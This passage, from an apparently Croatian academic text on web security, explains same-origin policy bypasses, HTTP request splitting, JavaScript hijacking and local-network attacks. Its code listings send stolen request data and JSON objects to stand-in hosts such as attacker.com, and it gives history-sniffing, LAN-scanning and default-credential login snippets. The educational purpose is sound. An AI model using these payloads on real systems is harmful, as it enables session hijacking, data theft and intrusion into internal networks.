svim korisnicima pa tako i potencijalnim napadaima. Jedini princip kakve-takve zatite kda na
39
klijentu je maskiranje (engl. obfuscation) i minimizacija koja kd na klijentu na prvi pogled ini
neitljivim.
Minimizacija se vri tako da se iz izvornog kda izbacuju nepotrebni znakovi i razmaci te se
eventualno vri promjena imena varijabli da bi ukupna veliina kda bila to manja. Primjetno je da
bi ovaj postupak bio pogodan i u svrhu smanjenja prometa pri dohvaanju Web stranice.
Prvi kd je izvorni, formatirani i itki kd, kao u ispisu 3.34.
Ispis 3.34. Primjer itkog formatiranog JavaScript kda
var message="Hello World!";
function MessageBox(message2)
{
alert(message2+"\n"+message);
}
MessageBox("OK");
Nakon minimizacije, kd moe izgledati kao u ispisu 3.35.

Ispis 3.35. Minimizirani JavaScript kd
var a="Hello World!";function b(){alert(b+"\n"+a);}b("OK");
Maskiranje je postupak kojim se kd maskira da bi postao neitljiv. Maskiranje se moe izvesti na

mnogo naina, ovisno o tome koliko elimo da kd bude nerazumljiv. Na sljedeem primjeru je
vidljivo koliko daleko ovaj proces moe ii. Ukoliko prethodni kd zamaskiramo, dobiti emo kd
kao u ispisu 3.36.
Ispis 3.36. Maskirani JavaScript kd
//language=jscript.encode
#@~^zgAAAA==-mD~|!X%v6vXT']Jw6W%wa+*-XZ'6v;wavw-X T-aXF-avww6F wa+Z-aW-a
8EBJwX!zJ~r-X*s'6*ArTI-mDP|T6Rv0+aq'|!X%0aZ$T6ZDi6EU^DkWU~|!
a%+W+6+v#PlVDDc{Z60v6va+3{!X0v6v6Z,T68T3{T606vaF*I8,imTX%vWX c{ZaRvW+6Z$!X
YbilT4AAA==^#~@
Vrlo je vano napomenuti da ovo nije ispravan nain zatite aplikacije i njene logike. Obzirom da su
ovi procesi oito dvosmjerni, jasno je da se iz neitkog kda moemo dobiti neto vrlo slino
poetnom kdu i u prilino itkom obliku. Stoga se ovaj tip zatite ne bi trebao ozbiljnije koristiti, a
posebice ne njime pokuavati sakriti odreene propuste ili ranjivosti koje su vidljive kroz kd na
klijentu.
3.4. Politika istog izvora

3.4.1. Opis mehanizma
Politika istog izvora (engl. same-origin policy) se prvi puta pojavila izlaskom Netscape Navigator
2.0 na trite te je od tada ukljuena u sve vee Web preglednike. Politika istog izvora sprjeava
dokument ili skriptu uitanu u preglednik s jednog izvora u pokuaju manipulacije ili komunikacije
s dokumentom uitanim s drugog izvora. Termin izvor, se odnosi na ime domene, pristup i protokol
koji koristi posluitelj dokumenta. Sljedea tablica, tablica 3.1, je prenesena iz originalne
dokumentacije [58] i prikazuje kako bi ova politika tretirala pokuaj izmjene dokumenta od strane
skripte koja se nalazi na lokaciji http://store.company.com/dir/page.html.
40
Tablica 3.1. Pravila politike istog izvora

#
1
2
3
4
5
URL mete
http://store.company.com/dir2/other.html
http://store.company.com/dir/inner/another.html
https://store.company.com/secure.html
http://store.company.com:81/dir/etc.html
http://news.company.com/dir/other.html
Ishod
Uspjeh
Uspjeh
Neuspjeh
Neuspjeh
Neuspjeh
Razlog
Razliit protokol
Razliit pristup
Razliit posluitelj
Primjeri prikazuju relativno jasna ogranienja vezano uz pristup i protokol. Akcije koje uzrokuju
provjeru po danoj politici su:
manipulacija prozora preglednika;
XMLHttpRequest zahtjevi;
manipulacija okvira (ukljuujui i linijski iframe element okvira);
manipulacija dokumenata (koritenjem objekta);
manipulacija kolaiima.
Ipak, navedena ogranienja ne ograniavaju svu interakciju. Ne postoji ogranienje o ukljuivanju

dokumenata s drugih izvora u HTML elementima. Prilino je esto da slike, CSS stilovi i skripte
budu ukljueni s drugih domena.
Krenje politike istog izvora obino ukljuuje krau postojee sjednice u kojem sluaju kd moe
izvriti slanje HTTP zahtjeva koje korisnik nije inicirao, ali se odvija u kontekstu trenutne
korisnike sjednice pa ga aplikacija prihvaa kao valjan zahtjev, ili lano predstavljanje kao
legitimna Web stranica da bi se ukralo korisnike podatke. Stoga krenje ove politike uzrokuje dvije
osnovne vrste napada:
lano predstavljanje kao legitiman korisnik povreda povjerenja Web posluitelja prema
klijentu;
lano predstavljanje kao legitimna Web stranica povreda povjerenja klijenta prema Web
posluitelju.
Zanimljivo je da u politici postoji jo jedna iznimka koja se odnosi na domene koje dijele isti dio
imena domene. Primjerice, dokumenti s prvi.hr ne mogu manipulirati dokumentima s drugi.hr.
Meutim, ogranienja su malo drugaija izmeu dokumenata s www.prvi.hr i dokumenata s
roditeljske domene prvi.hr. HTTP odgovori s www.prvi.hr mogu itati i postavljati kolaie s
prvi.hr, kao to je opisano u RFC 2965 dokumentu [53].
Prijelaz roditeljske domene je takoer mogu kroz skripte. Ukoliko je naredba u ispisu 3.37
izvedena iz poddomene prvi.hr (npr. www.prvi.hr), domena dokumenta e se uspjeno promijeniti.
Ispis 3.37. JavaScript naredba za promjenu domene
Document.domain = prvi.hr;
Svi preglednici dozvoljavaju gornji izraz, ali nije nuno da dozvoljavaju i suprotno. IE, Safari i
Konqueror dozvoljavaju vraanje na originalnu domenu, dok Mozilla i Opera to ne dozvoljavaju.
Ovo u prvom sluaju daje mogunost izmjene domene po volji pa se omoguuje komunikacija
dokumenata s razliitih poddomena. Meutim, istim kdom nije dozvoljeno promijeniti domenu, tj.
kd kao u ispisu 3.37 pokuajem promjene domene na drugi.hr uzrokuje povredu politike i uzrokuje
pogreku [23,24,33].
41
3.4.2. Internacionalne domene

U mnogo sluajeva oito je da zaobilaenje politike istog izvora po roditeljskoj domeni ima dosta
smisla. Meutim, situacija postaje zbunjujua ukoliko pogledamo kako se mijenja autoritet u
domenama pojedinih drava. Jedan od estih sufiksa domene je co.uk, koja obuhvaa komercijalne
entitete u Velikoj Britaniji. Meutim, co.uk ne oznaava stvarnu domenu. Ukoliko preglednik
ogranii pristup iskljuivo na domena.sufiks (npr. prvi.hr) format, javlja se prilino velik problem.
Naime, ukoliko domena.sufiks format u naem sluaju oznaava co.uk, tada je cijeli skup domena
koji pripadaju komercijalnim entitetima u Velikoj Britaniji zapravo postaje potencijalno ranjiv na
krenje politike istog izvora.
Takoer, postoji jo jedno nerijeeno pitanje vezano uz sve vee koritenje internacionalnih naziva
domena i tzv. punycode kdiranja. Punycode kdiranje dozvoljava koritenje znakova koji ne
spadaju u ASCII skup u imenovanju na DNS posluiteljima. Trenutne implementacije ispravno
ograniavaju kdirane znakove koji bi mogli uzrokovati krenje politike istog izvora, ali je upitno
koliko su detaljno ti mehanizmi provjere testirani. Naime, kad je problem otkriven, dokazano je da
tzv. homograph napad funkcionira. Da bi ga se demonstriralo, registrirana je domena
www.microsoft.com koja koristi slova c i o ruske abecede. Adresa na prvi pogled izgleda
ispravno, meutim, ne upuuje na stranicu koju oekujemo. Nakon to je problem ispravljen,
preglednici adresu tretiraju kao www.xnmirsft-yqfbx.com.
3.4.3. Vanjske skripte

Nain na koji se tretiraju vanjske skripte lake je promotriti kroz sljedei primjer. Pretpostavimo da
stranica koja se nalazi na posluitelju prvi.hr koristi skriptu sa google.com. U ovom sluaju, skripta
e se izvesti u kontekstu stranice prvi.hr. Time e skripta imati pristup elementima stranice u koju je
ukljuena te e moi vriti XMLHttpRequest pozive prema domeni prvi.hr, ali nee imati nikakav
pristup bilo kojem resursu na google.com. Obzirom da su vanjske skripte na Web-u esta pojava,
posebice kod koritenja raznih AJAX radnih okruenja, potrebno je obratiti panju od kuda one
dolaze. Iz reenog je jasno da ukoliko napada kompromitira skriptu na google.com, u trenutku
izvoenja te skripte na bilo kojoj stranici bilo koje domene koja ju ukljuuje, skripta e biti u
mogunosti pristupati elementima stranice. Naravno, to podrazumijeva i privatne informacije
korisnika, podatke o sjednici, ali i eksploataciju drugih ranjivosti.
3.4.4. PDF ranjivosti

Neki od zanimljivih napada, mogu se ostvariti i kroz prezentiranje razliitih objekata dodacima
preglednika koji oekuju prijenos URL-a u parametrima poziva. Na primjer, Adobe Acrobat
dodatak za Firefox preglednik ima mogunost automatskog popunjavanja formulara u PDF
dokumentima vanjskim podacima kroz FDF, XML ili XFDF polja. Kako je ve reeno, PDF
dokumenti podravaju JavaScript kd. Spomenuti dodatak, ranjiv je na XSS i CSRF napade, te
postoji mogunost izvravanja udaljenog kda. Promotrimo slijedee primjere.
1. Koritenjem zahtjeva kao u ispisu 3.38, mogue je izvesti JavaScript kd unutar
preglednika.
Ispis 3.38. Primjer zahtjeva kojim se izvodi JavaScript kd u PDF dokumentu
http://site.com/file.pdf#FDF=javascript:alert(Test Alert)
Prikazani zahtjev moe biti iskoriten protiv posluitelja, a radi se o XSS tipu napada.
2. Mogue je prisiliti preglednik da poalje zahtjev na bilo koji URL na nain kao u ispisu
3.39.
42
Ispis 3.39. Primjer slanja zahtjeva kroz PDF dokument

http://site.com/file.pdf#FDF=http://host.com/index.html?param=...
Ovdje se radi o CSRF napadu.

3. Mogue je izvesti udaljeni kd korupcijom memorije kao u zahtjevu u ispisu 3.40.
Ispis 3.40. Primjer korupcije memorije kroz PDF dokument
http://site.com/file.pdf#FDF=javascript:document.write(jjjjj...);
Ovim napadom je mogue izazvati DoubleFree() pogreku i prepisati dio kda koji
obrauje strukturne iznimke.
3.4.5. DNS kvaenje

DNS kvaenje (engl. DNS pinning) je jedan od napada na politiku istog izvora. Vrata i protokol
obino nije teko kontrolirati, stoga se glavni dio provedbe politike istog izvora vee uz ime
domene. Meutim, obzirom da DNS nije statian, imena posluitelja se mogu tijekom vremena
povezivati na DNS posluiteljima s razliitim IP adresama. Preglednici koriste DNS kvaenje da bi
sprijeili napadae u manipulaciji DNS vremenskim istekom. To bi znailo da jednom kad je adresa
za posluitelj vraena pregledniku, on ju uva za vrijeme sjednice, bez obzira na DNS vremenski
istek. Napad se oslanja na viesjedninost. Na primjer, korisnik posjeuje nevin.primjer.com koji
koristi oglase servisa oglasi.primjer.com. www.zlo.com je registrirano kao davatelj oglasa u
linijskim okvirima (iframe) za oglasi.primjer.com. www.zlo.com (IP 66.66.66.66) poalje reklamu
koja sadri HTML (i JavaScript kd) oznaen vremenskim istekom. HTML podaci pokuaju uitati
sliku s stranice www.zlo.com. Ukoliko uspije, slika se prikae. Korisnik ugasi preglednik, a podaci
za zlo.com domenu ostanu u prirunoj memoriji preglednika. Korisnik ponovno pokrene preglednik
i uita neki-drugi.primjer.com koji koristi oglase s oglasi.primjer.com, oglasi.primjer.com poalje
korisnikom pregledniku URL sa zlo.com. Preglednik kontaktira dns.zlo.com i zatrai adresu
www.zlo.com. U tom trenutku dns.zlo.com odlui prijei u napadaki nain rada i vrati adresu rtve
umjesto adrese 66.66.66.66. Korisniki preglednik kontaktira rtvu i zakljui da je
www.zlo.com/index.html datoteci (sa adrese 66.66.66.66) u njegovoj prirunoj memoriji nije prolo
vrijeme valjanosti pa ju iskoristi. U tom trenutku www.zlo.com/index.html je vezana na rtvu (to
moe provjeriti tako da pokua dohvatiti sliku) i spada pod isti izvor te moe uiniti to god eli sa
rtvinim podacima. Ovo je prilino kompliciran tip napada za zaobilaenje politike istog izvora te je
ogranien na nain da napada mora imati kontrolu nad DNS posluiteljem i njegovim zapisima.
3.4.6. Automatsko ubacivanje skripti s drugih domena

Jo jedan od napada na politiku istog izvora je i automatsko ubacivanje skripti s drugih domena
(engl. auto injecting cross domain scripting). Pogledajmo nain na koji se koritenjem dijeljenja
HTTP zahtjeva i ubacivanja okvira moe izvriti vrlo opasan napad. Koritenjem sljedee metode,
mogue je ubaciti JavaScript kd u bilo koju stranicu bilo koje domene i preuzeti kontrolu nad
sjednicom. Da bi ovaj napad bio ostvariv, potrebno je da su ispunjeni sljedei uvjeti:
1. Korisniki zahtjevi moraju prolaziti kroz prosljeujui posrednik;
2. Korisnik mora imati preglednik ili dodatak koji je ranjiv na dijeljenje HTTP zahtjeva;
3. Korisnik mora posjetiti zloudnu stranicu, ili stranicu ranjivu na XSS napad.
Vrlo esto su svi potrebni uvjeti ispunjeni, jer:
1. Prosljeujui posrednik se esto koristi u lokalnim mreama da bi se korisnicima pruio
pristup Internetu;
43
2. Postoji vie preglednika i njihovih dodataka koji su ranjivi na dijeljenje HTTP zahtjeva.
Popis ukljuuje:
IE 6.0 sp2,
Flash dodatak verzije manje od 7.x i manje od 9.0.r16,
Java VM bilo koje verzije, i drugo;
3. Korisnika se moe navesti na posjeivanje zloudne stranice koritenjem klasinoga

socijalnog inenjeringa.
Jedna od moguih tehnika ovog napada oslanja se na skriptu koja sadri iframe okvir da bi se
iskoristila politika iste domene.
To znai da bi napada mogao preuzeti potpunu kontrolu nad stranicom koja ima XSS ranjivost
tako da kontrolira unutranji okvir. Ukoliko je preglednik ranjiv na dijeljenje HTTP zahtjeva,
tehnika se moe primijeniti svaki puta kada korisnik otvori novu stranicu ili ugasi preglednik. To bi
znailo da napada moe kontrolirati i stranice koje nisu ranjive na XSS napad. U ovom napadu,
korisnik treba posjetiti zloudnu stranicu i tada se dogaa proces prikazan na slici 3.7.
Slika 3.7. Prikaz ubacivanja zloudnog kda
im kd izvede dijeljenje HTTP zahtjeva i preusmjeri preglednik na domau stranicu, kd e se

kopirati u prirunu memoriju preglednika da bi stvorilo novu ulaznu toku. Kada korisnik sljedei
puta otvori preglednik, kd e se ponovno ubaciti i izvesti te e na taj nain ostati u prirunoj
memoriji preglednika sve dok se runo ne obrie priruna memorija. Cijeli proces vidljiv je na slici
3.8.
Kada se ubacivanje kroz okvir izvede, korisniku e se prikazati zloudna stranica, ali e adresa
prikazana u pregledniku biti adresa zahtjevane stranice. U ovom trenutku, skripta moe prislukivati
sve dogaaje koji se mogu smatrati promjenom domene tijekom korisnike navigacije, kao to su:
1. onAbort dogaaj koji se okida kada korisnik pritisne STOP dok se stranica uitava;
2. OnBlur - dogaaj koji se okida kada okvir ili prozor nisu u fokusu;
3. onUnload - dogaaj koji se okida kada okvir ili dokument uitava novi URL;
4. onClick - dogaaj koji se okida kada korisnik klikne na vezu.
Na ovaj nain, kada rtva zatrai novu stranicu ili novi URL, skriptu e pozvati okidanje dogaaja,
te e se izvesti novo dijeljenje HTTP zahtjeva. Za razliku od prvog umetanja, skripta nee
preusmjeriti korisnika na domau stranicu, ve e ekati da korisnik zatrai stranicu koju eli. Rad
skripte e osigurati potpunu kontrolu nad korisnikom navigacijom i napadau dati mogunost
presretanja svih poziva koje preglednik izvrava.
44
Slika 3.8. Proces trovanja prirune memorije preglednika
3.4.7. Ostali napadi na politiku istog izvora

Zaobilaenje politike istog izvora tragom (engl. cross-site tracing, XST) jedan je od mnogih
varijanti XSS-a, ali se oslanja na konfiguraciju posluitelja umjesto na ranjivosti aplikacije. Napad
koristi HTTP TRACE metodu da bi vratio pregledniku sadraj koji kontrolira napada [56].
Trovanje prirune memorije (engl. web cache poisoning) je zaobilaenje politike istog izvora koje
se moe dogoditi kao rezultat razliitih napada. Napad je usmjeren na prirunu memoriju
preglednika ili puno ee udaljenog posrednikog posluitelja. Rezultat napada je jednak kao i kod
XSS-a, a uzrokuje da preglednik dobije sadraj koji kontrolira napada u kontekstu neke druge
domene. Meutim, kroz ovaj napad moe se otvoriti mogunost za druge napade, kao fiksiranje
sjednice ili DoS napad [55].
Dijeljenje HTTP odgovora (engl. HTTP response splitting) je ponovno varijacija XSS-a, ali se
ubaeni sadraj pojavljuje u zaglavlju HTTP odgovora umjesto u tijelu dokumenta. injenica da se
ubacivanje dogaa prije dohvata sadraja, otvara niz mogunosti, od tipinog XSS-a do trovanja
prirune memorije.
Dijeljenje HTTP zahtjeva (engl. HTTP request splitting) moe iskoristiti pogreke u asinkronim
zahtjevima i dozvoliti umetanje polja zaglavlja pri stvaranju HTTP zahtjeva. U sljedeim
primjerima, napad je opisan koritenjem IE ActiveX objekta Microsoft.XMLHTTP, ali se moe
implementirati i za druge preglednike. Ukoliko se AJAX-om stvori zahtjev kao u ispisu 3.41,
preglednik e zapravo poslati zahtjeve kao u ispisu 3.42.
Ispis 3.41. Primjer dijeljenja HTTP zahtjeva
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.evil.site/2.html\tHTTP/1.1\r\nHost:\t
www.evil.site\r\nProxy-Connection:\tKeepAlive\r\n\r\nGET","/3.html",false);
x.send();
Sam proces obrade se odvija kao na slici 3.9.
45
Ispis 3.42. Zahtjevi koji se odailju primjerom HTTP dijeljenja zahtjeva

GET http://www.evil.site/2.html HTTP/1.1
Host: www.evil.site
Proxy-Connection:Keep-Alive
GET /3.html HTTP/1.1
Host: www.evil.site
Proxy-Connection:Keep-Alive
Slika 3.9. Proces obrade kod HTTP dijeljenja zahtjeva
Ukoliko se u sredini komunikacije nalazi Web posrednik, on e primiti dva zahtjeva i dohvatiti dva
odgovora. Prvi odgovor je stranica http://www.evil.com/2.html, iji sadraj moe biti kao u ispisu
3.43.
Ispis 3.43. Sadraj stranice 2.html iz primjera
<html> <body> foo </body> </html>
Drugi odgovor je stranica http://www.evil.com/3.html, iji sadraj moe biti kao u ispisu 3.44.
46
Ispis 3.44. Primjer sadraja stranice 3.html iz primjera

<html> <head> <meta http-equiv="Expires"
content="Wed, 01 Jan 2020 00:00:00 GMT">
<meta http-equiv="Cache-Control" content="public">
<meta http-equiv="Last-Modified" content="Fri, 01 Jan 2010
00:00:00 GMT">
</head> <body>
<script>
alert("DEFACEMENT and XSS: your cookie
is"+document.cookie)
</script>
</body>
</html>
Preglednik je odaslao samo jedan zahtjev pa e drugi odgovor biti postavljen u red ekanja na
pregledniku, te e se pridjeliti sljedeem zahtjevu koji e se odaslati.
Sljedei potez napadaa je otvoriti novi prozor koritenjem JavaScript-a i pozivom na bilo koju
stranicu (npr. http://www.banka.com) i preglednik e prikazati prethodno primljeni drugi odgovor
umjesto izvorne stranice.
Krijumarenje HTTP zahtjeva i odgovora (engl. HTTP request and response smuggling) su dva
zanimljiva napada koji ne napadaju preglednik ili posluitelj, ve napadaju sitne razliitosti koje se
pojavljuju u ureajima u mrei koji obrauju HTTP zahtjeve. Uinak ovih napada je slian
dijeljenju HTTP odgovora [54,57].
3.5. Primjeri eksploatacije ranjivosti koritenjem AJAX-a i

JavaScript-a
Kroz sljedee primjere, prikazane su neke od novijih tehnika iskoritavanja zloudnog kda.
3.5.1. Otimanje JavaScript kda

Otimanje JavaScript kda (engl. javascript hijacking) je napredna tehnika kojom se moe preuzeti
potpuna kontrola nad AJAX aplikacijom. Ovaj napad je iskljuivo baziran na osobinama jezika
baziranih na konceptu prototipa, kao to je i JavaScript.
Programiranje na konceptu prototipa je stil objektno orijentiranog programiranja gdje ne postoje
klase, ve se objekti kloniraju iz ve postojeih izvornih objekata, ili stvaranjem novih objekata.
Nove metode i atributi koji pripadaju objektu, mogu se stvoriti ili reimplementirati tako da ih se
jednostavno definira. Stvaranje instance XMLHttpRequest objekta moe se izvriti kao u ispisu
3.45.
Ispis 3.45. Stvaranje instance XMLHttpRequest objekta
var xmlhttp = new XMLHttpRequest();
Kada je kd izvren, xmlhttp objekt nee biti stvoren kao nova instanca XMLHttpRequest klase, ve
e biti kloniran iz originalnog XMLHttpRequest objekta. Iz razvojne perspektive, ovaj intuitivan i
proiriv pristup omoguuje dodavanje novih metoda i atributa originalnim objektima. Na primjer,
dodavanje nove metode moe se vriti kao u ispisu 3.46.
Ispis 3.46. Primjer stvaranja nove metode XMLHttpRequest objekta
XMLHttpRequest.newMethod= function() {
return "value";
}
Nakon toga, nova metoda e biti dostupna svim nanovo kloniranim objektima jednostavnim
pozivom, kao u ispisu 3.47.
47
Ispis 3.47. Poziv novostvorene metode XMLHttpRequest objekta

Xmlhttp.newMethod();
Iako su ovo iroke mogunosti, prikazana proirivost bi mogla dozvoliti napadau da prepie
metode originalnih objekata. U sljedeem primjeru prikazan je nain implementacije novog objekta
koji e omotati originalni XMLHttpRequest objekt, te jednom ubaen u kd, dozvoliti napadau da
presree bilo koju metodu ili dostupni atribut. Novi objekt i napad bit e potpuno nevidljivi
aplikaciji i krajnjim korisnicima. Tehnika se moe primijeniti na razliite objekte, ukljuujui i
Internet Explorer ActiveX komponente. Najvaniji koncept sastoji se od kda kao u ispisu 3.48.
Ispis 3.48. Primjer implementacije omotaa oko originalnog objekta
var xmlreqc=XMLHttpRequest;
XMLHttpRequest = function() {
this.xml = new xmlreqc();
return this;
}
U primjeru, referenca na XMLHttpRequest originalni objekt je spremljena u novu varijablu i

XMLHttpRequest je preusmjeren na novi objekt koritenjem jednog od naina definiranja
konstruktora. Unutar konstruktora, stvoren je novi atribut koji predstavlja prethodno stvoreni
originalni XMLHttpRequest. U nastavku kda, svaki klonirani objekt biti e klon objekta omotaa,
a ne originalnog objekta. Pretpostavimo da je u kdu definirana funkcija sniff() kao u ispisu 3.49.
Ispis 3.49. Kd sniff() funkcije
function sniff(){
var data='';
for(var i=0; i<arguments.length; i++)
data+=arguments[i];
if(image==null)
image = document.createElement('img');
if(data.length> 1024)
data= data.substring(0, 1024) ;
image.src=
'http://www.attacker.com/hijacked.html?data='+data;
}
Funkcija sniff() koristi ve opisanu metodu zaobilaenja politike istog izvora koritenjem oznake
slike da bi poslala svoje ulazne argumente napadau. U sljedeem primjeru prikazano je kako
omotati originalne metode i presresti podatke, to je prikazano u ispisu 3.50.
Ispis 3.50. Implementacije omotaa metode i nain presretanja podataka
XMLHttpRequest.prototype.send = function (pay){
// Oteta metoda .send
sniff("Hijacked: "+" "+pay);
pay=HijackRequest(pay);
return this.xml.send(pay);
}
Koritenjem prethodnog omotaa, mogue je dinamiki presresti sve podatke ili ih modificirati
koritenjem bilo koje funkcije (HijackRequest() u ovom primjeru). Sljedei odsjeak kda u
ispisu 3.51 pokazuje na koji nain napada moe modificirati vrijednost bilo kojeg originalnog
atributa i ponaanje cijele aplikacije koritenjem defineSetter i defineGetter metoda:
48
Ispis 3.51. Modifikacija defineSetter i defineGetter metode

XMLHttpRequest.prototype.__defineSetter__(
"multipart",function (h){ // Otet multipart
this.xml.multipart=h
sniff("multipart: "+" "+h);
return h;
});
XMLHttpRequest.prototype.__defineGetter__(
'status",function (){ // Ukraden status
h=this.xml.status ;
sniff("status: "+" "+h);
return h;
});
Koritenjem ove tehnike, napada moe modificirati ili ubacivati zahtjeve i odgovore na nain koji
je nevidljiv korisniku i aplikaciji. Da bi se pojasnile posljedice ovog napada, razmotrimo sljedee.
Zamislimo da je AJAX-om izvedena aplikacija za bankovne prijenose. Ukoliko je aplikacija
ranjiva na XSS napad ili slinu ranjivost koja omoguuje ubacivanje zloudnog kda, napada
nakon ubacivanja kda, svakim zahtjevom autoriziranih korisnika koji koriste aplikaciju, dobiva
presretnute zahtjeve i odgovore. U ovom sluaju, napad je potpuno nezavisan o autentifikacijskim
mehanizmima aplikacije.
Prijenos podataka JSON-om direktno je ranjiv na otimanje JavaScript-a. Ukoliko rtva posjeti
stranicu koja sadri sljedei zloudni kd kao u ispisu 3.52, informacije koje rtva prima od
posluitelja mogu se poslati napadau.
Ispis 3.52. Primjer krae podataka i slanja napadau
<script>
// prepisati konstruktor kojim se kreiraju svi objekti tako
// da kad god je email polje postavljeno, kod poziva metodu
// captureObject(). Obzirom da je email finalno polje,
// omogueno je ukrasti cijeli objekt.
function Object() {
this.email setter = captureObject;
}
// Slanje uhvaenog objekta napadau
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<script src="http://www.example.com/object.json"></script>
Zloudni kd u prethodnom primjeru koristi oznaku skripte da bi ukljuila JSON objekt u trenutnu
stranicu. JSON objekt moe biti bilo koji JSON resurs kojem autorizirani korisnik moe pristupiti,
npr. njegov adresar u aplikaciji za elektroniku potu. Preglednik e poslati zahtjev za JSON
objektom, ukljuujui i potreban kolai sjednice u zahtjevu pa e zahtjev biti obraen kao da je
doao od legitimne aplikacije. Kada JSON objekt stigne do klijenta, bit e evaluiran u kontekstu
zloudne stranice. Da bi prisustvovala evaluaciji JSON-a, zloudna stranica je redefinirala
JavaScript funkciju koja se koristi za kreiranje novih objekata. Na ovaj nain, zloudni kd je
49
postavio rupu koja mu omoguava pristup stvaranju novih objekata i prijenos sadraja nazad na
zloudnu stranicu [13,37,66].
3.5.2. Napad na lokalnu mreu

Napad na lokalnu mreu opisan u ovom poglavlju, sastoji se od vie metoda prikupljanja
informacija o lokalnoj mrei u kojoj se rtva nalazi. Prije svega, potrebno je kao i u prethodnim
primjerima, da rtva posjeti zloudnu stranicu, ili zaraenu aplikaciju koja je ranjiva na XSS napad.
Zaponimo od pregledavanja povijesti posjeivanja stranica u pregledniku.
Obzirom da JavaScript moe stvarati veze u Web stranici, te da ima pristup CSS API-ju, mogu je
sljedei scenarij:
1. Napada u JavaScript-u stvori polje s adresama stranica za koje ga zanima da li ih je rtva
posjetila;
2. Prolaskom kroz polje, kd stvara vezu na svaku pojedinu stranicu;
3. Nakon stvaranja pojedine veze, kd pristupi CSS vrijednosti boje za pojedinu vezu;
4. Ukoliko se radi o plavoj boji, standardnoj za prikaz veze u HTML-u, stranica do sada nije
posjeena. Ukoliko se radi o ljubiastoj, standardnoj za prikaz posjeene veze u HTML-u,
stranica je u povijesti posjeena.
Opisani postupak je prikazan u sljedeem jednostavnom kdu u ispisu 3.53.
Ispis 3.53. Kd za provjeru povijesti preglednika
for (var i = 0; i < websites.length; i++) { //prolaz kroz polje adresa
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i]; // stvaranje veze prema adresi
link.innerHTML = websites[i];
document.body.appendChild(link);
// dohvat CSS boje adrese
var color =
document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
document.body.removeChild(link);
// provjera posjeenosti ukoliko je plava boja, stranica nije posjeena
if (color == "rgb(0, 0, 255)") {
alert('not visited '+webisites[i]);
} else {
alert('visited '+webisites[i]);
} // kraj provjere posjeenosti
} // kraj petlje kroz adrese
Kako bi se uspjeno saznao prefiks lokalne mree koju elimo provjeriti, mogue je dohvatiti
mrenu adresu rtve u lokalnoj mrei. Jedna od mogunosti je koritenje Java applet-a koji ima
mogunost dohvaanja stvarne adrese raunala ak i ako se rtva nalazi iza sigurnosne stijene ili
posrednika koji vre NAT funkciju. Da bi dohvaenu adresu iz applet-a bilo mogue proslijediti
JavaScript-u, potrebno ju je smjestiti negdje gdje joj JavaScript moe pristupiti. Jedna od
mogunosti je adresa Web stranice u pregledniku.
Druga mogunost je izravno pozivanje Java klasa koje je mogue iz Firefox preglednika. Isti
rezultat dobiva se JavaScript kdom u ispisu 3.54.
50
Ispis 3.54. Dohvat adrese u lokalnoj mrei JavaScript pozivom Java klase
function natIP() {
var w = window.location;
var host = w.host;
var port = w.port || 80;
var Socket = (new
java.net.Socket(host,port)).getLocalAddress().getHostAddress();
return Socket;
}
Ukoliko se lokalna adresa rtve ne moe dohvatiti na ove naine, uvijek ju moemo pokuati
pogoditi, ili pokuati skenirati cijeli raspon lokalnih mrenih adresa.
Kako je ve vieno u prikazanim primjerima, koritenjem oznake skripte ili slike, napada je u
mogunosti slati HTTP zahtjeve prema bilo kojem resursu, ali obzirom na politiku istog izvora, nije
u mogunosti primiti odgovor. Stoga mora postojati nain da se sazna da li je posluitelj prema
kojem je zahtjev poslan odgovorio ili ne. Ukoliko se poalje zahtjev na sljedei nain, kao u ispisu
3.55, posluitelj e na zahtjev odgovoriti ukoliko je aktivan.
Ispis 3.55. URL oznaka za dohvat resursa u skeniranju mree
<SCRIPT SRC=http://192.168.1.100/></SCRIPT>
Odgovor e sadravati HTML kd te e JavaScript interpreter vratiti pogreku obzirom da je primio

HTML umjesto oekivanoga JavaScript kda. Pogreku je naravno mogue uhvatiti te time
uspjeno detektirati postojanje aktivnog posluitelja na promatranoj adresi.
esto podatak o aktivnosti posluitelja nije dovoljan, ve napadaa zanima i o kojem posluitelju se
radi. Zanimljiva ideja za potvrdu vrste posluitelja je provjera jedinstvenih resursa koji se nalaze na
posluitelju. Primjerice, Apache Web posluitelj obino na putu /icons/apache_pb.gif ima sliku,
HP pisa s Web sueljem ima logo na putu /hp/device/hp_invent_logo.gif. Slino, da bi se
saznalo da li se radi o PHP posluitelju, moe se dohvatiti njegov easter egg na lokaciji
/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42. Prolazak kroz jedinstvene resurse koritenjem
oznake slike, moe se vriti na nain kao u ispisu 3.56.
Ispis 3.56. URL oznaka za otkrivanje otiska posluitelja
<img src=http://192.168.1.100/unique_image_url onerror = fingerprint() />
Ukoliko se onerror dogaaj ne izvede, pronaena je traena aplikacija. ire gledano, osim slika, za
potvrdu o vrsti aplikacije, moe se koristiti i CSS datoteke ili JavaScript skripte koje su jedinstvene
za traenu aplikaciju. ak, ovisno o veliinama pojedinih datoteka, moe se odrediti i o kojoj se
verziji aplikacije radi.
Na ve opisani nain, nakon detekcije o kojoj se aplikaciji radi, a koritenjem CSRF napada,
moemo pristupati administrativnim aplikacijama na lokalnoj mrei. Napada s dovoljno
informacija moe ak mijenjati postavke usmjerivaa ili drugih ureaja koji se nalaze u lokalnoj
mrei, a prema kojima je rtva autentificirana. Ukoliko rtva nema valjani kolai sjednice, napada
moe iskoristiti injenicu da je sigurnost na lokalnim mreama esto zanemarena. Obzirom da se
smatra da je lokalna mrea sigurnije podruje te da posluitelje koji nisu dostupni s vanjske mree
nije potrebno tititi kao i one dostupne, vrlo est sluaj je ostavljanje pretpostavljenih vrijednosti
korisnikog imena i zaporke za administratora. Dakle, zahtjevom kao u sljedeem primjeru u ispisu
3.57 moemo korisnika prijaviti na aplikaciju.
Ispis 3.57. URL oznaka za prijavu korisnika na aplikaciju
<img src=http://admin:password@192.168.1.1 />
51
Tablica 3.2 prikazuje tablicu pretpostavljenih vrijednosti administratorske prijave za neke od esto
koritenih usmjernika.
